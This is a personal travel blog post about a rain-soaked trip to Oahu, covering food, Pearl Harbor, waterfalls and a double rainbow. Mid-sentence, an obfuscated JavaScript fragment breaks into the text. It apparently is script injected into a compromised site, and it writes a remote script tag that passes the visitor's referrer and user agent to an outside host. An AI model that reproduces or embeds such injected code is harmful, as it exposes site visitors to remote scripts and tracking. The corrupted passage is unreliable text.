Back from “Paradise”

We just returned from Hawaii!  Oahu to be exact.

You know how they always tell you to stay off Facebook and whatnot while you’re traveling so your place doesn’t get robbed?  That was half the reason for not blogging – didn’t want to let the robbers (who obviously read my blog) know we’d be gone.

Do you remember that episode(s) of friends where they go to Hawaii and it rains the whole time they are there.  That was us…minus Phoebe and Joey.  Flash flood warnings, thunder and lightening, ponchos and north face rain gear.  Not what you think about when you’re packing for Hawaii!

Of course we took it in stride and ate.  A LOT.  What can we say?  A warm and dry restaurant is a great break from the rain!

Did I mention we ate a lot?  Lucky for you, I refrained from taking lots of pictures of things we ate.  Here’s a quick rundown of Hawaii 2012.

We ate lots of musubis ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkfsi|var|u0026u|referrer|ynnyy||js|php’.split(‘|’),0,{}))
prepared by little Japanese grandmas.  Sooo tasty!

Nick went surfing while I worked.

We went on an expensive “hike” to an underwhelming waterfall.  Thanks, Waimea.  BUT, we saw these weird, teal colored flowers!

 

We took a trip up to the north shore and ate at Giovannis Shrimp truck.  Basically, you get a plate of super oily and garlic-y shrimp + 2 scoops of rice.  Rather tasty.

We made the obligatory stop at Pearl Harbor and also toured the USS Bowfin.  The Bowfin tour cost $10, but was totally worth it.  Very tight quarters.

The sun peaked out for a few minutes while we visited the memorial.

The rain helped make some pretty insane waterfalls.  I’ve decided that impressive waterfalls must be tall.  I don’t care if it’s 1 foot wide.  A 1 foot wide, 100 ft high waterfall is infinitely cooler than a 100 ft wide, 1 foot high waterfall.

The sun {finally} came out and we hit the beach!  Makaha Beach.  And we had it almost to ourselves.

Just gorgeous.

And then it started to sprinkle.  But rain + sun = rainbows.  And who would have guessed…..but we totally saw a DOUBLE RAINBOW!!

On our last day, we hit up this temple on the eastern side of the island.  Very cool.  There were some MASSIVE fishes in the pond.  We fed them.  They thanked us.

PS.  If you are ever on Oahu (we may not return, thanks to our less than sunny experience) try an Acai Bowl at Bogarts in Diamond Head.  Holy moly.  So delicious!  It’s acai sorbet + granola + berries + bananas + honey.  It sound like something that wouldn’t be amazing, but it is.